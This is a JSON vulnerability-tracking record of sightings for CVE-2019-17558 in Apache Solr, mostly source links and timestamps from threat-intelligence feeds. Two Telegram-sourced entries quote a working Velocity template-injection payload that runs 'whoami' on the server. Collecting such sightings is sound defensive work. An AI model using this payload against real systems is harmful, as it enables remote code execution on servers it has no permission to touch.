{"vulnerability": "CVE-2019-17558", "sightings": [{"uuid": "3f7da5b7-ed9b-4f8b-9e62-14936aba5aed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-17558", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:16.000000Z"}, {"uuid": "15063890-5b9a-48c7-b5cc-2f8309e9ce07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-17558", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2021-11-20T09:53:52.000000Z"}, {"uuid": "3178c3fa-4a6d-4905-884e-a442a29d09e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-17558", "type": "exploited", "source": "https://www.exploit-db.com/exploits/48338", "content": "", "creation_timestamp": "2020-04-16T00:00:00.000000Z"}, {"uuid": "306987f5-3d73-488b-9696-05eaa9737c31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-17558", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971153", "content": "", "creation_timestamp": "2024-12-24T20:25:01.996052Z"}, {"uuid": "615e90f1-4d88-4f76-a3ca-415267447ac7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-17558", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:44.000000Z"}, {"uuid": "cd52a126-e296-40c0-8760-92d47168e584", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-17558", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:14.000000Z"}, {"uuid": "2c643c70-6d30-4d62-82bc-7e23be9e35b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-17558", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:09:43.000000Z"}, {"uuid": "a886d892-fc8b-4110-8280-fb5dce861f96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-17558", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/solr_velocity_rce.rb", "content": "", "creation_timestamp": "2020-04-02T16:31:27.000000Z"}, {"uuid": "41ca4c8f-3f81-47d2-a456-eec3c1cec9dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2019-17558", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/35172300-da66-44c8-bf8a-2599476fb405", "content": "", "creation_timestamp": "2026-02-02T12:28:35.472116Z"}, {"uuid": "6e855446-d350-4dbb-95a0-08625ffff878", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-17558", "type": "published-proof-of-concept", "source": "https://github.com/google/tsunami-security-scanner-plugins/tree/master/google/detectors/rce/solr_cve201917558", "content": "", "creation_timestamp": "2021-02-05T21:43:47.000000Z"}, {"uuid": "7e83b0f0-1f10-434c-9ad8-d98a5d44a1bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-17558", "type": "published-proof-of-concept", "source": "https://t.me/WARLOCK_DARK_ARMY_OFFICIALS/3441", "content": "CVE-2019-17558 Command Execution Vulnerability\n\nget /solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end\n\n%27whoami%27", "creation_timestamp": "2023-10-16T12:11:22.000000Z"}, {"uuid": "705b1604-04b7-4552-95d0-c7fcb351d9d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-17558", "type": "seen", "source": "https://t.me/ctinow/210572", "content": "https://ift.tt/yhUf1i5\nCVE-2019-17558 | Apache Solr up to 8.3.1 velocity/ input validation (ID 157078)", "creation_timestamp": "2024-03-18T14:46:10.000000Z"}, {"uuid": "edd01b61-9ea0-499d-b4be-2d3237c5a81c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-17558", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1297", "content": "CVE-2019-17558 \u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\n\nget /solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end\n\n%27whoami%27\n\n#poc #exploit", "creation_timestamp": "2023-10-16T05:49:24.000000Z"}, {"uuid": "2aea1b0b-ae1a-43c7-930d-9d9f9b907f29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-17558", "type": "seen", "source": "Telegram/mygM17KSjyX1ytBX-vC2bUSC6Qu_yw0MIzjWP6u1Kpz11D0", "content": "", "creation_timestamp": "2026-08-29T23:00:18.552622Z"}, {"uuid": "d3572c22-12c5-44ea-b256-890350d681c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-17558", "type": "seen", "source": "Telegram/mygM17KSjyX1ytBX-vC2bUSC6Qu_yw0MIzjWP6u1Kpz11D0", "content": "", "creation_timestamp": "2026-08-30T00:00:26.979310Z"}, {"uuid": "7e136847-d918-4843-a736-5b9f02738d0a", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-17558", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/ed0fd761-5f3a-4232-a406-e30b6b447d65", "content": "", "creation_timestamp": "2026-06-19T12:47:54.878853Z"}, {"uuid": "963e6ec2-a018-47d2-99fc-c967fac811be", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-17558", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/63ae84cb-8d6f-467a-a537-091a5188ad38", "content": "", "creation_timestamp": "2026-06-23T14:04:48.773150Z"}, {"uuid": "352a30b5-1e66-45b4-8005-399f27423091", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-17558", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/97461", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Apache-Solr-RCE-CVE-2019-17558\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a rogerzeferino\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-10 15:19:35\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-10T17:00:05.073824Z"}, {"uuid": "16fa3c89-5926-49bf-a99b-91f9fb40997a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-17558", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/97461", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Apache-Solr-RCE-CVE-2019-17558\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a rogerzeferino\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-10 15:19:35\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-11T00:00:07.535224Z"}, {"uuid": "84de5460-9ad9-43b1-beef-0325bbdaf679", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-17558", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/4c6bb9b7-2f7a-4d13-a7d0-28d4c4b8a1ab", "content": "", "creation_timestamp": "2026-07-11T01:00:59.609258Z"}, {"uuid": "7dfedb12-9a11-4ac5-aa4f-20d5fbb3c2ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-17558", "type": "published-proof-of-concept", "source": "Telegram/mygM17KSjyX1ytBX-vC2bUSC6Qu_yw0MIzjWP6u1Kpz11D0", "content": "", "creation_timestamp": "2026-08-31T00:00:42.824776Z"}]}